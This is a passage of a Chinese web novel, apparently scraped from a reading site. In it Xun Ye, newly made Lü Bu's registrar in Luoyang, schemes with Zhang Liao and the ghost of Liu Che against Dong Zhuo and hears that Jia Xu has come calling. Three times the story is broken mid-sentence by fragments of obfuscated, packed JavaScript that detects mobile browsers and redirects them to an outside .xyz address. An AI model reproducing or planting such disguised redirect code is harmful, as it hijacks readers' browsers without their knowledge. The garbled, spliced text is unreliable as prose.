不是对府上的卫兵仆从有意见,而是以吕大将军表现出来的情况来看,将军府大概率是个筛子。 俩人都不是什么有文化的人,骂来骂去还是那么几句,荀晔听了一会儿便收回视线转为和高顺聊天。 不管工作合不合心意态度都要认真,当主簿要当主簿的样子,没正式上任也不耽误他提前了解情况。 吕大将军想过除了打仗什么都不管的美好生活,总要有人替他负重前行。 ——加油阿牞!你是最棒哒! 高顺坐的端正,找他唠家常他放不开,说起正事却能有板有眼条分缕析。 当初事发突然,他们将军还没来得及真正掌控并州军便被董相国以“看重”为由困在身边,能调用的兵力几乎没有。 现在手底下倒是有了七八千兵马,但是质量堪忧,没有一年半载的训练上战场就是送死。 然而士兵不管能不能打仗都要吃饭,手里有兵就得操心人马的吃喝嚼用。 军中粮饷由董相国亲自把控,给多给少什么时候给都是相国府说了算。 他之前没兵不用和相国府打交道,但是见过其他将领麾下主簿去相国府交涉。 董相国麾下嫡系凉州军从来不为粮饷发愁,非但钱粮充裕,时不时还有大批赏赐分到士兵手上。 洛阳城中虎贲、羽林、北军五校、西园八校等卫兵总共三万左右,那些兵丁多是从民间选拔而来,没经历过正经操练战力不足,董相国也看不上那些兵马,所以禁军的粮饷经常会被拖欠。 但禁军有朝中大臣为他们奔走,那是直接统属于大汉天子的兵马,是朝廷的颜面,不至于真的让禁军将士真的拿不到粮饷。 纵观整个京城,待遇最差的还是当初丁执金吾带至京师的并州军。 他们将军和董相国身边所有亲信的关系都不好,如果没有意外,荀主簿接下来必定会遭到相国府的刁难。 荀晔心里嘀咕:那不是和董卓身边所有亲信关系都不好,那是连带着董卓一起看不顺眼。 懂了,他这个主簿官职是地狱难度。 高顺看了眼还在骂骂咧咧的吕布,压低声音委婉道,“荀主簿若需人手,顺义不容辞。” 董相国身边的谋士幕僚都不太好相处,过去交涉时要多带些人保证人身安全,将军府中靠得住的也没几个,有需要时找他就行。 荀晔:??? 不是,你们在董卓手底下到底过的什么日子?就算那句“颇得相国看重”有水分也不能一点实在的都没有吧? 吕将军!吕大将军!动动脑子想一想!董卓都这么过分了你还跟着他干什么? 京城那么多人想要董卓的性命,正是弃暗投明的大好时机,将军你糊涂啊! 痛心疾首.jpg 吕大将军在某些地方敏锐的可怕,察觉到落在身上的目光直接看过去,“怎么?有问题?” “并无。”荀晔摇摇头,“只是在想如何破局。” 吕布挑了挑眉,“那你继续想。” 他就说荀氏子肯定不能只会玩刀弄枪,瞧这认真思考的模样,好像下一句就是“我有一计可解将军之忧”,完全对得起他没见面就先把人定下的果断。 张文远立大功,再来喝一个。 荀晔:…… 怎么说呢,感觉吕大将军和其他人处不来也不都是别人的错。 回归正题,让他想想怎么现在这局面到底该怎么办。 他知道大势的发展方向,但是对细节了解不多,甚至连剧情点发生的先后顺序也不敢确定,不过关东联盟起兵讨董、董卓迁都长安、王允策反吕布诛杀董卓这三件事的顺序肯定不会有错。 叔祖和堂兄对董卓残害忠良的行径十分不满,话里话外都是除掉董卓以扶危定倾,没有猜错的话朝中已经开始谋划除掉董卓的大臣不会少。 看目前吕布对董卓的态度,只要有人敢来和他谈,就算不许诺高官厚禄宝马金银他也会恶狠狠的点头答应。 这样的话事情就好办多了。 荀主簿端起酒杯抿了一口,嫌酒水味道不好于是悄悄换成茶杯。 他初来乍到不了解朝中情况,叔祖和堂兄也不会对他说太多,吕大将军明显不是个靠得住的,想知道什么还是得亲自去问。 董卓迁都长安火烧洛阳导致洛阳周围两百里尽成瓦砾不复人烟,越拖变数越大,不能等王允抛来橄榄枝再考虑后路,那样太被动,也容易让吕大将军本就不太富裕的名声雪上加霜。 为国除害这种事情得主动起来,他们吕大将军威震夷狄神勇无双,诛杀董贼不挑地方。 吕布一边和张辽说话一边往旁边瞄,怕打扰在场刚上任的荀主簿思考连董卓都不骂了,声音也压的低低的,“张文远,你觉得咱们现在能如何破局?” “不知道。”张辽很光棍的回道,“但是我知道明光肯定有办法。” 别的不说,看那挡不住的谋士气度就知道他们家明光贤弟肯定不是一般人。 上战场是英姿飒爽的少年将军,回府上是神机妙算的智囊谋士,不愧是慧眼识文远的荀氏明光,怎么看都厉害的不得了。 他们这些并州来的大老粗在京城孤立无援没有根基,明光不一样,实在不行还能去求助司空大人。 搭上一个人就是搭上一整个家族,荀氏长辈让明光到军中之前肯定想过后面可能发生什么。 同理,他张文远也不单单是个无助失意备受迫害的小将领,有时候还能代表整个并州军。 京城并州出身的将领不多,就算吕奉先当时没来得及收拢所有兵马就被董卓老贼以“看重”为名困在身边,只要他振臂一呼并州将士依旧会响应。 不只世家大族会结盟,他们这些脑袋拴在裤腰带上出门打拼的粗人也知道怎么选对自己最有利。 在家靠兄弟出门靠同乡,如今并州军中官职爵位最高的是吕布吕奉先,并州出身的将领自然以吕大将军马首是瞻。 交好吕奉先不意味着对并州军友好,但提拔他张文远肯定不会对并州军太排斥。 荀氏若是看不上他们并州人,当初就不会让明光去军营见他,所以明光身后有家族也就意味着他们所有人身后都有家族依靠。 放心,荀氏各个高识远见,和董卓那有眼无珠的老东西不一样。 吕布煞有其事的点头,是这个道理,没毛病。 他在老东西跟前站岗的时候大部分人都当他不存在,还有小部分对他避之不及,好像他吕奉先也是董老东西那种不打招呼就动手的残暴之徒。 和那些家伙相比,见面时会对他点头微笑的荀司空不要太有眼光。 总结:董卓能抱袁氏大腿,他们也能报荀氏大腿。 两个人说话的声音不大,但是也没小到旁边人一点儿也听不见,高顺听的欲言又止止言又欲,可真让他开口他也不知道该说什么,只能低着头研究酒杯里的酒水还能喝几口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882176|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 荀晔对吕大将军的情商已经不抱希望,也不好解释荀氏和袁氏不是一个层面的家族,有个家族当后盾总比什么都没有强,他也的确需要再和叔祖堂兄见一面再决定接下来怎么做。 同样嘎董卓,不同的嘎法得到的结果截然不同。 比起旁边俩人的胡思乱想,他更想知道高伏义有没有尴尬到抠出一座海底龙宫哈哈哈哈哈。 初次会面皆大欢喜,在场四个人中三个人都笑得灿烂。 张辽要回军营练兵,还要想办法暗中联络散在各营的并州将士,吃饱喝足骂过瘾便起身离开。 荀晔没走,因为官职发生变动,他直接把住处挪到了吕大将军府上。 高顺沉默的起身,沉默的离开,又沉默的扛着一麻袋需要处理的竹简来到荀主簿居住的院落。 嗯,他住隔壁。 荀晔摸摸鼻子,任由高顺将那满满一麻袋竹简都倒在书案旁。 老实人不好欺负。 下次还敢。 文书工作而已,反正每天都要看书学习写心得,读书换成实践更适合磨炼。 传说始皇帝每天都要处理两百斤竹简,区区一麻袋难不倒他这个始皇帝的新任好大儿。 院落昨天就收拾了出来,书房也打理的干干净净,荀主簿豪情万丈的捞起竹简,斗志昂扬开始新工作。 家里有个爱读书的美人爹,荀阿牞的文化课成绩相当不错,不存在打开竹简后每个字都认识但是合起来后一句都读不懂的情况。 高顺屏退仆从亲自将麻袋里倒出来的竹简挨个分类堆放整齐,收拾好后抬起头,发现书案另一边已经堆了一小摞处理完毕的书简,再次陷入沉默。 文书的活儿果然还是得有文化的人来做,这短短一会儿批阅出来的竹简比他半个时辰看的都多。 ——告辞。 荀晔挥挥手让高将军自去忙,他把需要处理的军务看完会自己喊人来收拾。 并州军被拆分打散,吕布身边亲信不多,还都是和他一样行伍出身的并州人,让他们上阵杀敌他们比谁都猛,让他们处理文书他们能气愤到杀人。 以前是没脾气还不会拒绝的高伏义勉强撑着,今天就让他们看看什么叫专业。 暮色悄然袭来,荀主簿飞快的处理好所有公文满意的放下笔,正要摇头晃脑自夸几句,抬头却差点被挂在窗户上的阿飘吓晕。 荀晔捂住扑腾乱跳的心口,靠在书架上虚弱开口,“义父,您过来怎么不打招呼?” “打招呼耽误你干活。”刘彻笑眯眯的飘下来,“这才几日不见,阿崽竟然已经当官了,系统果然没有选错人。” 荀晔立刻满血复活,即便是第一次处理公务也不耽误他在阿飘爹面前显摆,“当官而已,小菜一碟。” 猪猪陛下笑意更深,但是随之而来的系统音却让唯一的观众当场僵直。 【昔者王莽作逆,汉祚中缺。光武握乾符,跨北岳,立号高邑,建都河洛。关东讨董联军声势浩大,董卓欲焚毁洛阳迁都长安,洛阳百姓危在旦夕,勇敢的天命之子,你是踩着七彩祥云从天而降的救世主吗?】 荀晔感觉阿飘爹笑的格外不怀好意,硬着头皮问道,“义父,这次的任务难度是不是有点高?” 他是想加速董卓之死,但是洛阳城的危机不只来自董卓,杀死董卓和保卫洛阳完全不是一个难度啊爹。 上次还只是解救即将被五个贼兵劫掠的村落,这次直接保卫变成人口大几十万的国都,这跨度合理吗? 刘彻无辜的眨眨眼,“保卫洛阳而已,对我们阿崽而言是小菜一碟。” 荀晔:闭眼.jpg 16.酸枣联盟 * 荀晔趴在刚收拾好的书案上,试图从光滑平整的桌上抠出个时光机。 早知道显摆的后果这么严重,他看到猪猪陛下的时候就直接滑铲跪下哭着喊“求干爹帮忙,孩儿真的处理不来”。 这碟菜一点都不小,他真的应付不来。 除非干爹附身,不然他就趴桌上不起来。 撒泼.jpg 刘彻飘到桌案旁蹲下,充满遗憾的说道,“应付不来也可以,那样的话你就只能被董卓裹挟着迁都长安,然后和你从兄荀攸一同凄惨下狱了。” 荀晔:??? “义父何出此言?”荀晔连假哭都不顾得,听到这话立刻支棱起来,“我堂兄真的头铁到亲自去刺杀董卓了?” 刘彻抱着手臂给脑袋空空的小憨憨解释,“他是计划刺杀董卓,但是保密工作做的不太好,还没来得及行动就让董卓知道了。以董卓的凶残,你觉得他抓了你兄长后会放过你?” “危险。”荀晔搓搓胳膊,不敢对董胖胖抱任何期待,“不过我堂兄只是被下狱没有丢掉性命也是难得,换成别人估计被抓当天就身首异处或者变成肉泥了。” 经过吕布张辽你一言我一语的唾骂,他对董卓的凶残有了更加深刻的认识。 看谁不顺眼直接杀都是爽快,赶上他心情不好那才叫花样繁多,蒸了煮了活活打死,连死人都要把尸体从坟里挖出来肢解扔野地里喂狗。 狗子又不是兀鹫,尸体都不知道腐烂成什么样了还祸害路边野狗,埋汰不埋汰啊。 摇头。 刘彻:…… 每当他觉得这小子要垂头丧气走向自轻自贱想要安慰几句,这臭小子都会用实际行动来打他的脸。 保卫洛阳的任务难吗?难。 对这臭小子呢?呵。 说任务简单吧,臭小子哭哭唧唧装可怜。 说任务难吧,臭小子又完全不肯抓重点。 是不会抓重点吗?分明是故意的! 他不该为撺掇系统提高任务难度而感到愧疚,他应该再放肆点儿直接将最终任务改成【三造大汉】。 冷静,大汉天子不能说脏话。 ——李二凤!看你教出来的好崽! 小憨憨不知道他亲爱的义父想到了哪里,感慨完董卓的凶残感慨堂兄的优秀,感慨完堂兄的优秀感慨叔祖的牛掰,感慨完叔祖的牛掰感慨吕布的悲催,总之把最近遇到所有值得感慨的事情都感慨过来一遍才终于想起来面前还有个难于上青天的系统任务。 “义父,任务真的是保住洛阳吗?换成除掉董卓行不行?” 他也想让洛阳百姓免受兵燹之灾,但是人贵有自知之明,朝中那么多有志之士都没能从董卓手中救下洛阳城,他一个小小的不起眼的动动手指头就捏死的小人物哪儿来的自信觉得能保住洛阳? 凭他长的好?凭他五个爹?凭他身为穿越者甚至不知道中平六年到底是哪一年? ——干爹,爸比,亲爱的父亲大人,行行好降低一下任务难度吧。 秋梨膏! 手指小人下跪.jpg 猪猪陛下眸光微闪,平复心情面不改色道,“不行。” 面对困难不能望而却步,不逼一逼怎么知道自己能做到何种地步? 要是被臭小子装装可怜就暴露他们有调整任务难度的资格,之前为了撺掇系统提高难度写的那么多报告岂不是白忙活了? 不降!就这样! 冷酷.jpg 荀晔叹了口气,“好吧,我想想办法。” 这下非得找叔祖求助不可了。 除掉董卓只需要策反吕布,保住洛阳却复杂的多,首先他得弄明白朝堂的派系争斗和京城的兵力分布。 尤其是凉州军的兵力分布,这个必须得弄清楚。 朝堂的派系斗争一般不会波及百姓,闹的不愉快也顶多牵连到官员的家族。凉州军在董卓的纵容下跋扈嚣张,军队要是乱起来百姓肯定要遭殃。 事不宜迟,现在就行动。 荀晔站起来就要出门,然而还没走出房间就又停下脚步。 天快黑了,城里有宵禁,着急也得等明天。 “陛下,您这次能待多久?” 刘彻再次飘到窗子上挂着,“看系统什么时候不稳定,没有意外的话应该可以待个两三天。” 荀晔回到书案后面坐下,“上次李二陛下待了半天就走了,我还以为您也会赶时间。” 刘彻顿了一下,“他为什么着急走你不清楚?” 李二凤回去后追着赵大笑,气的赵大抡起棍子就和他打,差点把住处全拆成废墟。 虽然真的很好笑,但是也不能、好吧、确实很好笑哈哈哈哈哈。 猪猪陛下想到当时的场面控制不住唇角上扬,虽然便宜儿子很糟心,但是身为普天之下绝无仅有的好父亲他还是要提醒一句,“回头赵大过来的时候你收敛点儿,他的盘龙棍打人真的很疼。” 荀晔大惊失色,“能打到我?” 李二陛下强调了很多次他们没有实体,也不能附身或者召唤大军,出现在这个世界唯一的作用就是和他聊天、啊不、给他上课。 怎么?正常教育不够用还要上棍棒教育? 刘彻笑的让崽头皮发麻,“正常情况下不能,但是不排除赵大气疯了出现特殊情况。” 互相伤害啊,他和儿子斗法还从来没输过。 发疯.jpg 荀晔敏锐的察觉到阿飘爹的不正常,当即端正坐姿汇报这些天的情况。 这是吕布的将军府,他现在是吕大将军麾下主簿,也是将军府中唯一一个靠脑子吃饭的人。 义父来的巧,他今天刚搬到这儿,刚才是第一次接触军务,也不知道处理的怎么样,义父有经验义父先看,就当检查功课了。 小憨憨乖巧的将手边的竹简打开,先解释自己是怎么想的,然后满眼期待等着阿飘爹评价。 吕布和董卓面和心不和,现在他在吕布身边而叔祖在董卓手底下讨生活,稳妥起见不能和叔祖来往过多。好老师可遇不可求,抓住个有经验的皇帝说什么都不能放过。 “朕日理万机,从来没有管过这么小的事情。”猪猪陛下表面不屑一顾,身体却很诚实的自动开工,“每日巡逻安排、兵器甲胄发放、新兵营开支……这都什么东西?” “都是些军中日常。”阿飘碰不到实物,小憨憨很有眼力劲儿的手动翻卷,“孩儿不知道您印象中的董卓是什么样,但是以孩儿浅薄的认知,这个世界的董卓好像不太聪明。” 有道是用人不疑疑人不用,正常人就算心里防备也不会表现出来,但是他们这儿的董卓不一样,他既眼馋吕布的超强武力又担心步丁原的后尘,把人拘在身边却天天非打即骂连装都懒得装。 不是他事后诸葛亮,而是以吕奉先那“可可爱爱莫得脑袋”的表现,只要董卓对表面功夫上一点儿心也不至于让他骂成现在这样。 塑料父子情没培养起来就先破裂,想不让人趁虚而入都难。 不像他和四位义父,见面少也不耽误他们拥有感天动地的父子情。 刘彻:… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14890787|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 也行吧。 能说会道是好事,比闷不吭声强。 荀阿牞拉踩别家的同时不忘自夸,且自夸的毫无心理负担,说完身边发生的事情继续讲聚在酸枣的讨董联盟现状。 之前李二陛下说关东联盟成立时那十几路诸侯并没有全部亲至酸枣,比如盟主袁绍,联盟成立时他还在冀州,是假作三公书信发檄文传至各州郡的桥瑁做主遥推他做盟主。 他这几天留意了一下,联盟的情况和李二陛下说的差不多,亲自抵达酸枣的只有本就在陈留的陈留太守张邈、一直在京城附近观望形势的东郡太守桥瑁、离陈留不远的兖州刺史刘岱和山阳太守袁遗,还有曹操的铁杆支持者济北相鲍信。 曹老板弃官离京后自号奋武将军,麾下只有散尽家财招募来的五千兵马,虽然是他首倡义兵,但是暂时还入不了诸侯之列。 各州郡响应讨伐董卓的人很多,不过没有像电视中演的那样十八路诸侯齐聚酸枣歃血为盟,大部分人还是就近屯兵伺机加入战局。 正经联盟是聚是一团火散是满天星,酸枣联盟是散是满天星聚是一盘沙,从年前到现在那么多天过去,盟军阵势摆了出来,就是还没怎么和董卓的兵干仗却先开始了内斗。 猪猪陛下一心二用的技能非常熟练,一边给小憨憨指出竹简上的不妥之处一边解释,“军合力不齐,都生怕让别人占了便宜,一心讨董的没几个。” 这时候有能耐招兵买马的都不是傻子,起兵响应讨董的州郡牧守几乎都是族人不在京城不担心董卓拿他们家人泄愤的主儿,不管是真心匡扶社稷还是想借讨董争权夺利,前提都得保障自身安全。 荀晔煞有其事的摇摇头举出反例,“义父,袁氏大部分人都还在洛阳呢。” 刘彻似笑非笑,“你有听到袁绍袁术兄弟俩明确表示要起兵讨伐董卓?” “这倒没有。”这年头连朝廷檄文都能假冒伪劣,消息口口相传下来早不知道变成什么样儿了,“但是现在天下皆知讨董联盟的盟主是袁绍,他说他不参与也没人信啊。” 何况袁绍袁术也不是真的没参与,兄弟俩就是不服董卓执政才离开洛阳,不然讨董联军也不会推不在跟前的袁本初当盟主。 “董卓势大,聚在酸枣的那些人要么名望不够要么不敢出头,总得推出来个冤大头顶着。”刘彻屈起手指敲敲小憨憨的脑袋瓜,“别觉得世上都是蠢人,否则被人卖了还傻乎乎的替人数钱。” 荀晔缩缩脖子,老实巴交的回道,“受教了。” 猪猪陛下小课堂开讲,听的小憨憨更想绑个能随身携带的备用脑子来帮他分析局面。 他已经很努力的开动脑筋,但是和真正的聪明人相比还是不太够用。 要不是阿飘爹说的明白,他到现在还觉得袁绍袁术是讨董讨上头了顾不得族人还在洛阳,也可能是都没想到董卓能凶残到对老东家下手,再阴谋论一点就是兄弟俩故意让董卓大开杀戒好名正言顺绕过长兄接手家族势力。 不管是哪种可能,袁绍袁术都是积极主动参加的酸枣联盟。 结果让阿飘爹一分析,被推为盟主的袁绍甚至可能自始至终都是反对董卓但是没想过要聚众讨董。 荀晔:懵.jpg 冷静,淡定,不着急,再等等。 脑子不够用没关系,等他想办法弄死董卓打赢洛阳保卫战再搞个威风凛凛的名号就写信摇人。 郭奉孝不是不愿意去冀州吗?那就直接带上戏志才一起过来给他当外置大脑,他肯定比袁绍听劝! ——叔!求你了!! 17.可伤天和 * 位于黄河济水交汇处的酸枣县是连接中原各州的重要渡口,往西不远就是朝廷囤积粮草的重镇敖仓。 讨董檄文传遍州郡,天下英豪云集响应,酸枣、河内、鲁阳、颍川等地皆聚起大量兵马,洛阳已经被联军三面包围。 旌旗猎猎,万骑连营。 大军气势如虹,仿佛只要盟主一声令下,董卓便会如丧家之犬般放弃洛阳逃回西凉老家。 仿佛。 也只是仿佛。 事实上,十几万大军驻扎各地,按理说该开始排兵布阵讨伐董卓了,但是能做主的各路诸侯全部各怀异心,联盟成立后一个主动出击的都没有。 奋武将军曹操和长沙太守孙坚想出兵,可其他人不光不动弹还拦着不让他们动弹,酸枣、鲁阳等地各路兵马集结那么长时间,到现在愣是什么事情都没办成。 曹操都快气疯了。 雷声大雨点小也不能一点雨滴都没有,这到底是讨伐董卓还是找个借口凑一块儿喝酒叙旧?知不知道什么叫兵马未动粮草先行啊?! 从来没有带过兵的曹将军心急如焚,恨不得天天去中军大帐劝桥瑁等人发兵,奈何有带兵平乱经验的州郡牧守全都畏缩不前,他磨破嘴皮子也没人听。 同样想发兵的孙坚倒是有带兵经验,但是鲁阳驻地的粮草全部由袁术供应,袁术不点头他就没有粮草,再想出兵也只能忍着。 倒霉,没有最倒霉,只有更倒霉。 荀晔搞不明白那群讨董诸侯在想什么,他感觉董卓毫不遮掩打压吕布和并州军的意图不太聪明,关东联盟的各路诸侯毫不遮掩的划水摸鱼也不太聪明。 讨董联盟讨董联盟,不给董卓分戏份何必叫讨董联盟,直接叫诸侯内战不就得了? 好歹装一装呢! 得亏曹孟德和孙文台一个在酸枣一个在鲁阳,俩人要是能凑到一起那场面铁定同病相怜惺惺相惜两眼泪汪汪。 男儿有泪不轻弹,只是未到伤心处。 到时你骂一句“诸侯迟疑不进大失天下所望我深感耻辱”,我骂一句“跟这群虫豸在一起怎么救得了天下”。酒逢知己千杯少,趁着酒劲儿估计能一拍即合绕开盟军单干。 将军府的军务不多也不难处理,运气同样没多好的小倒霉蛋了解完当主簿要干的活儿后便专心研究讨董联盟现状,看看能不能琢磨出怎么完成阿飘爹带来的系统任务。 保卫洛阳难度太高,靠他自己肯定不行。 关东联盟更不行。 乌合之众不会因为表面光鲜改变本质,如果关东联盟真的齐心协力和董卓刚,董卓不至于现在这个反应。 被讨伐的正主动不动就打骂身边武力值最高的“护卫”,说明“护卫”的重要性还没有高到让他收敛脾气。 关东联盟的出现只能让他生气,不至于让他害怕。 难怪袁氏那么多人在京城袁绍袁术都敢顺势起兵,讨董联盟意不在董卓,董卓回过味儿来肯定也不会太较真。 啧,肮脏的成年人。 刘彻听到这儿绷不住笑了起来,“你以为争权夺利是什么?小孩子过家家?” “那倒没有。”荀晔一本正经的回道,“但是不妨碍我觉得那些拉大旗作虎皮的家伙在玩过家家。” 敌人的敌人就是朋友,大敌董卓兵强马壮权倾朝野,他们更得团结一切可以团结的力量。 联军要讨董,洛阳城中也有很多人想弄死董卓,两边为什么不合作? 答案只有一个:至少有一方别有用心。 朝堂的弯弯绕绕他不清楚,不过董卓最后确实死在王允的谋划之下,所以京城这边至少有一部分靠得住。 比如他们家攸哥。 关东联军就算了,指望他们讨伐董卓不如许愿天降陨石雨砸了凉州军大营。 荀晔将桌上的竹简整理好腾出地方,撑着脸深沉道,“义父,我又仔细想了想,感觉我们这儿的袁绍袁术不像被迫加入讨董联盟,更像笃定董卓不敢动汝南袁氏所以肆无忌惮踩着董卓扬名。” 李二陛下说过每个世界的细节都不一样,所以他们的话可以参考但不能尽信。 得益于桥瑁那份檄文,冀州牧韩馥在治中的劝说下良心发现觉得做人要体面,不能因为怕袁绍在冀州比他更得人心就和人家过不去。 袁氏四世三公门生故吏遍天下,袁本初亲率兵马诛灭宦官不顾安危怒斥董卓,天下士人推崇那是他应得的,将人关在府邸里不让冀州士人与之来往只会让他韩文节的名声变得不堪。 他在冀州谨小慎微不愿意让治下百姓卷入战乱,但是如今皇纲失统天子蒙尘,就算不主动讨伐祸国奸贼也不能拦着别人尽忠报国。 韩馥忧心忡忡的放袁绍自由,董卓凶残,他也不是什么罔顾国难的恶人,如果袁本初真的想起兵讨董,冀州兵马随他调用就是。 而重获自由的渤海太守袁绍在干什么?在自抬身价。 董卓刚入京时根基不稳,忌惮汝南袁氏的势力名望不敢直接和他们撕破脸,即便袁绍袁术都弃官离京他也还是捏着鼻子给俩人升官加爵。 袁绍离京前任司隶校尉,逃到冀州后被董卓任命为渤海太守,赐爵位邟乡侯,不过他依旧自称兼领司隶校尉。 全天下都知道如今是董卓把持朝政,官职任命尽出他手,莫说宫城里的小皇帝,就连朝中三公尚书令都做不得主。 皇帝不当家,朝廷的威望就得大打折扣。 曹操招兵买马时自号奋武将军,自号自号,朝廷那边不一定知道。 袁绍重获自由后屯兵河内郡自号车骑将军,自号自号,朝廷那边也不一定知道。 车骑将军位比公卿,仅次于大将军及骠骑将军。而骠骑将军不常设,在没有大将军的情况下车骑将军就是地位最高的武将。 就算袁绍最开始真的不知道有讨董联盟这回事儿,自号车骑将军之后知道还是不知道都不重要了。无论是主动加入还是赶鸭子上架莫名其妙成为讨董联盟的一员,他现在站在董卓对立面都是不争的事实。 刘彻笑吟吟看着小憨憨分析袁绍主动加入讨董联盟的理由一二三,心道孩子果然得放出家门历练。 上次见面还是“我不知道”“不太清楚”“要不您去问我爹吧”,这次再见就能自己叭叭。再聪明的脑袋瓜长时间不用也会废掉,现在这样多好。 荀晔头脑风暴一顿输出,最后得出结论,“总而言之言而总之,指望关东联盟讨董成功甚至不如我想法子让我堂兄和吕布搭上线儿,至少他们俩都真心想弄死董卓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14895365|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪猪陛下点点头,“好主意。” “那就等明天。”得到阿飘爹认可的小憨憨兴奋的站起来,“明天去拜访叔祖,看看他们刺杀董卓的计划开始了没。” 虽然义父刚才只说了攸哥被下狱,但是攸哥和叔祖都在京城,私下里搞事肯定不会瞒着对方。 家有一老如有一宝,遇到问题找叔祖,叔祖是万能的! 刘彻听着傻小子的碎碎念,想了想还是没告诉他荀爽没被下狱是因为他在事发之前就已经病逝。 史书记载:二月董卓迁都长安,五月司空荀爽薨。 上了年纪的人经不起折腾,或许不迁都荀爽就不会病逝。 荀晔找到做任务的突破点开心的不得了,收拾好书房去卧房睡觉,临睡前也不忘夸夸自己。 虽然他没有特别聪明,但是也不笨。 他都能从阿飘爹提供的信息中分辨哪些能用哪些不能用了肯定是个聪明崽,人不能太攀比,比不过那些决胜于千里之外的旷世奇才很正常,什么时候想自卑了就把吕布张辽拉出来溜溜,自信的人生最精彩。 好的,舒服了。 睡觉。 刘彻:…… 猪猪陛下伸了个懒腰,难得出来一次没打算一直和臭小子捆在一起,他要去看看这个世界的洛阳城。 第二天早上,荀主簿满血复活。 “义父?” 无飘应答。 “猪猪陛下?” 依旧无飘应答。 荀晔眨眨眼,系统提前不稳定把他阿飘爹给抽走了? 再一抬头,他阿飘爹就在窗户上挂着呢。 荀晔:…… “陛下,您这是什么爱好?” 刘彻瞥了一眼什么都敢喊的臭小子,没搭理他。 魂灵不会累,但是在凛冽的夜风中飘了一晚上他心累。 荀晔飞速洗漱,这边收拾好那边早饭也准备妥当,感觉猪猪陛下的情绪不太高便主动找话题,“我叔祖名荀爽,义父您知道吗?” 刘彻飘到食案对面坐下,“荀氏八龙,慈明无双,荀氏族人比你想象的更出色。不过也说不好,没准你就是那个例外。” 言下之意:除了不认识某个叫阿牞的小傻蛋,其他有名有姓的他都认识。 荀晔咽下口中的食物,“义父,您这叫打压式教育,是一种对孩童伤害非常大的教育方式,得改。” 早饭结束,去和高顺说书房里的军务已经处理完毕,然后再和吕布打声招呼说要出门。 “去吧去吧,想去哪儿都可以,记得回来就行。”吕大将军虎目熠熠生辉,猜到他们府上唯一一个聪明人这是要去找更聪明的人商量怎么破局,要不是他的身份不好上门他也想跟着一起去。 如今他手脚被束缚住是因为董卓老贼,破局是不是商量怎么弄死那老东西? 嘿嘿,期待。 高顺不语,只是默默准备马匹。 他想说他也不笨,但是每次他说什么他们家将军都不听。 算了,反正将军也不听,他还是闭嘴继续当哑巴吧。 恰在此时,门房过来传话,“启禀将军,讨虏校尉贾诩贾文和求见。” 荀晔脚步一顿,笑容直接僵在脸上。 谁? 18.密谋诛董 * 荀晔本来打算直接去司空府,但是计划赶不上变化,贾诩之名如雷贯耳,他实在不放心让胸无城府的吕布单独和以行事毒辣出名的三国第一毒士共处一室。 那可是贾文和,可伤天和不可伤文和的贾文和,没有人能在听到这个名字后无动于衷。 以前吕布的人际交往他管不着,现在他本人就在吕布府上住着,坑了吕布事小连累了他事大,无论如何都不能放任不管。 荀主簿迅速改变主意,当即表示待会儿再出门也无妨,“将军和那位贾校尉有交情?” “并无。”吕布不甚在意的摆摆手,“估计是老东西派来传话的吧。” 他明明应是领兵作战的中郎将,老贼却天天唤他到相国府点卯,哪天找借口不去就会像现在这样派人来喊,跟催魂似的烦死人了。 高顺让仆从把马牵回去,跟在后面解释道,“将军,贾校尉在牛辅牛将军麾下,并非董相国亲信。” “牛辅是董老贼的女婿,是他的亲信和是董老贼的亲信没区别。”吕布嗤笑一声,都走到正厅了才想起来朝门房补一句,“带他进来。” 荀晔无声叹气,先不说“亲信的亲信是不是他的亲信”,单说贾诩这个名字,这是能和“亲信”能一起出现的字眼儿吗? ——义父您别转悠了,快回来压阵。 小憨憨改变出行计划时看似无所畏惧,实际上怂的恨不得飞回颍川把他鬼才奉孝叔扛过来进行魔法对轰。 虽然不清楚贾诩干了什么天怒人怨的事情导致后世把他和“毒”绑在一起,但是只有起错的名字没有喊错的外号,和毒士打交道必须得打起十二分精神。 问题来了,聪明人说话会有各种深意,万一他听不出来怎么办? 刘彻无奈落在旁边,“先不说现在的贾诩在京城并不起眼,即便他已经开始煽风点火搅乱局势,聪明人更知道见什么人说什么话。吕布是什么性子?拐弯抹角的话他听得明白吗?” 荀晔:…… 有道理。 谢谢吕大将军。 三人一飘在正厅落座,只等不知道奉了谁的命的贾校尉露面。 吕布觉得这是董卓老贼自己不痛快也要让身边人都不痛快,故意一大早派人拿他开涮。 荀晔倒不这么觉得,董卓身边能使唤的人多了去,不至于派女婿身边的人来传话,贾诩可能是奉牛辅之命过来说事儿的,至于要说的是什么事儿得等见了人才能知道。 